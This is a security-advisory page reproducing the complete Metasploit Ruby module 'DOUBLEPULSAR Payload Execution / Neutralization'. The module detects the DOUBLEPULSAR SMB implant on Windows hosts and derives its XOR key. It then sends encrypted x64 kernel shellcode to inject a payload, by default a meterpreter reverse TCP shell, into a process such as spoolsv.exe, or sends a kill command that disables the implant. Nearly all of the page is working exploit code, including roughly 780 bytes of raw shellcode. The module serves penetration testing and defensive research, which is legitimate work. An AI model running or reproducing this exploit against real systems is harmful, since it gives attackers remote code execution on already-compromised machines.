DOUBLEPULSAR Payload Execution / Neutralization

2019.10.02
Credit: Luke Jennings
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB::Client MAX_SHELLCODE_SIZE = 4096 def initialize(info = {}) super(update_info(info, 'Name' => 'DOUBLEPULSAR Payload Execution and Neutralization', 'Description' => %q{ This module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant. }, 'Author' => [ 'Equation Group', # DOUBLEPULSAR implant 'Shadow Brokers', # Equation Group dump 'zerosum0x0', # DOPU analysis and detection 'Luke Jennings', # DOPU analysis and detection 'wvu', # Metasploit module and arch detection 'Jacob Robles' # Metasploit module and RCE help ], 'References' => [ ['MSB', 'MS17-010'], ['CVE', '2017-0143'], ['CVE', '2017-0144'], ['CVE', '2017-0145'], ['CVE', '2017-0146'], ['CVE', '2017-0147'], ['CVE', '2017-0148'], ['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'], ['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'], ['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'], ['URL', 'https://github.com/countercept/doublepulsar-detection-script'], ['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'], ['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1'] ], 'DisclosureDate' => '2017-04-14', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X64, 'Privileged' => true, 'Payload' => { 'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size, 'DisableNops' => true }, 'Targets' => [ ['Execute payload', {}], ['Neutralize implant', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }, 'Notes' => { 'AKA' => ['DOUBLEPULSAR'], 'RelatedModules' => [ 'auxiliary/scanner/smb/smb_ms17_010', 'exploit/windows/smb/ms17_010_eternalblue' ], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION] } )) register_advanced_options([ OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]), OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe']) ]) end OPCODES = { ping: 0x23, exec: 0xc8, kill: 0x77 } STATUS_CODES = { not_detected: 0x00, success: 0x10, invalid_params: 0x20, alloc_failure: 0x30 } def calculate_doublepulsar_status(m1, m2) STATUS_CODES.key(m2.to_i - m1.to_i) end # algorithm to calculate the XOR Key for DoublePulsar knocks def calculate_doublepulsar_xor_key(s) x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) x & 0xffffffff # this line was added just to truncate to 32 bits end # The arch is adjacent to the XOR key in the SMB signature def calculate_doublepulsar_arch(s) s == 0 ? ARCH_X86 : ARCH_X64 end def generate_doublepulsar_timeout(op) k = SecureRandom.random_bytes(4).unpack('V').first 0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00 end def generate_doublepulsar_param(op, body) case OPCODES.key(op) when :ping, :kill "\x00" * 12 when :exec Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*')) end end def check ipc_share = "\\\\#{rhost}\\IPC$" @tree_id = do_smb_setup_tree(ipc_share) vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}") vprint_status("Target OS is #{smb_peer_os}") vprint_status('Sending ping to DOUBLEPULSAR') code, signature1, signature2 = do_smb_doublepulsar_pkt msg = 'Host is likely INFECTED with DoublePulsar!' case calculate_doublepulsar_status(@multiplex_id, code) when :success @xor_key = calculate_doublepulsar_xor_key(signature1) @arch = calculate_doublepulsar_arch(signature2) arch_str = case @arch when ARCH_X86 'x86 (32-bit)' when ARCH_X64 'x64 (64-bit)' end vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}") CheckCode::Vulnerable when :not_detected vprint_error('DOUBLEPULSAR not detected or disabled') CheckCode::Safe else vprint_error('An unknown error occurred') CheckCode::Unknown end end def exploit if datastore['DefangedMode'] warning = <<~EOF Are you SURE you want to execute code against a nation-state implant? You MAY contaminate forensic evidence if there is an investigation. Disable the DefangedMode option if you have authorization to proceed. EOF fail_with(Failure::BadConfig, warning) end # No ForceExploit because @tree_id and @xor_key are required unless check == CheckCode::Vulnerable fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR') end case target.name when 'Execute payload' unless @xor_key fail_with(Failure::NotFound, 'XOR key not found') end if @arch == ARCH_X86 fail_with(Failure::NoTarget, 'x86 is not a supported target') end print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}") shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName']) shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length) vprint_status("Total shellcode length: #{shellcode.length} bytes") print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}") xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode) print_status('Sending shellcode to DOUBLEPULSAR') code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode) when 'Neutralize implant' return neutralize_implant end case calculate_doublepulsar_status(@multiplex_id, code) when :success print_good('Payload execution successful') when :invalid_params fail_with(Failure::BadConfig, 'Invalid parameters were specified') when :alloc_failure fail_with(Failure::PayloadFailed, 'An allocation failure occurred') else fail_with(Failure::Unknown, 'An unknown error occurred') end ensure disconnect end def neutralize_implant print_status('Neutralizing DOUBLEPULSAR') code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill]) case calculate_doublepulsar_status(@multiplex_id, code) when :success print_good('Implant neutralization successful') else fail_with(Failure::Unknown, 'An unknown error occurred') end end def do_smb_setup_tree(ipc_share) connect # logon as user \ simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain']) # connect to IPC$ simple.connect(ipc_share) # return tree simple.shares[ipc_share] end def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil) # make doublepulsar knock pkt = make_smb_trans2_doublepulsar(opcode, body) sock.put(pkt) bytes = sock.get_once return unless bytes # convert packet to response struct pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct pkt.from_s(bytes[4..-1]) return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2'] end def make_smb_trans2_doublepulsar(opcode, body) setup_count = 1 setup_data = [0x000e].pack('v') param = generate_doublepulsar_param(opcode, body) data = param + body.to_s pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct simple.client.smb_defaults(pkt['Payload']['SMB']) base_offset = pkt.to_s.length + (setup_count * 2) - 4 param_offset = base_offset data_offset = param_offset + param.length pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 pkt['Payload']['SMB'].v['Flags1'] = 0x18 pkt['Payload']['SMB'].v['Flags2'] = 0xc007 @multiplex_id = rand(0xffff) pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count pkt['Payload']['SMB'].v['TreeID'] = @tree_id pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id pkt['Payload'].v['ParamCountTotal'] = param.length pkt['Payload'].v['DataCountTotal'] = body.to_s.length pkt['Payload'].v['ParamCountMax'] = 1 pkt['Payload'].v['DataCountMax'] = 0 pkt['Payload'].v['ParamCount'] = param.length pkt['Payload'].v['ParamOffset'] = param_offset pkt['Payload'].v['DataCount'] = body.to_s.length pkt['Payload'].v['DataOffset'] = data_offset pkt['Payload'].v['SetupCount'] = setup_count pkt['Payload'].v['SetupData'] = setup_data pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode) pkt['Payload'].v['Payload'] = data pkt.to_s end # ring3 = user mode encoded payload # proc_name = process to inject APC into def make_kernel_user_payload(ring3, proc_name) sc = make_kernel_shellcode(proc_name) sc << [ring3.length].pack("S<") sc << ring3 sc end def generate_process_hash(process) # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm proc_hash = 0 process << "\x00" process.each_byte do |c| proc_hash = ror(proc_hash, 13) proc_hash += c end [proc_hash].pack('l<') end def ror(dword, bits) (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF end def make_kernel_shellcode(proc_name) # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm # Length: 780 bytes "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" + "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" + "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" + "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" + "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" + "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" + "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" + "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" + "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" + "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" + "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" + "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" + "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" + generate_process_hash(proc_name.upcase) + "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" + "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" + "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" + "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" + "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" + "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" + "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" + "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" + "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" + "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" + "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" + "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" + "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" + "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" + "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" + "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" + "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" + "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" + "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" + "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" + "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" + "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" + "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" + "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" + "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" + "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" + "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" + "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" + "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" + "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" + "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" + "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" + "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" + "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" + "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" + "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3" end def kernel_shellcode_size make_kernel_shellcode('').length end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top